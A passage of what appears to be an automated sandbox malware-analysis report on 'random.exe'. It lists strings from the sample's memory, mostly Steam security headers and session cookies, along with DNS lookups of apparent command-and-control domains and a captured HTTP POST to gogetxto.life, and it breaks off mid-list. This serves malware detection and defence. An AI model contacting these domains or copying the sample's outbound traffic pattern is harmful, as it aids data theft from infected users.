Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=10922277b329486c6e9a3437; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:22 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1180148327.00000000052E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=14ea022ad61ad686e7b32f7f; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:19 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control` equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1167060919.00000000052E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=226789d83191109d4b37f1a3; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:18 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlQ equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1308124670.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=2533b4a1fdfa4c470c0d2789; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type36122Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:32 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1293865583.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=9ea6f5904d91eff800eaf89d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:31 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlAA equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1281212887.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=b0368a34e90e099d778ce948; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:29 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlAA equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1248732244.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=b805672a1bc46ad3f9ec9118; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:26 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlAA equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1111873800.0000000000BEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=f1271d8d596fb658334171c7; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type36122Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:12 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1225176832.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=f3c4f4e4bb3ed1335e94111a; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:24 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlV equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: random.exe	String found in binary or memory: maized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com htt equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1319292450.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: re.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: random.exe, 00000000.00000003.1319292450.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: re.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=Nonesessionid=9ea6f5904d91eff800eaf89d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26508Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 19 Mar 2025 13:01:31 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControlAA equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: absoulpushx.life
Source: global traffic	DNS traffic detected: DNS query: begindecafer.world
Source: global traffic	DNS traffic detected: DNS query: garagedrootz.top
Source: global traffic	DNS traffic detected: DNS query: modelshiverd.icu
Source: global traffic	DNS traffic detected: DNS query: arisechairedd.shop
Source: global traffic	DNS traffic detected: DNS query: catterjur.run
Source: global traffic	DNS traffic detected: DNS query: orangemyther.live
Source: global traffic	DNS traffic detected: DNS query: fostinjec.today
Source: global traffic	DNS traffic detected: DNS query: sterpickced.digital
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: gogetxto.life

Source: unknown

HTTP traffic detected: POST /Aosn HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 41Host: gogetxto.life

Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: random.exe, 00000000.00000003.1319292450.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000002.1321220446.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1294172488.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1308124670.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: random.exe, 00000000.00000003.1180596839.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: random.exe, 00000000.00000003.1210304976.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210732032.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209568884.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1209455611.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208456212.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167181910.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208710850.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210351738.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210547405.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210611779.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210429268.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1208895088.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210070292.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1210238578.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, random.exe, 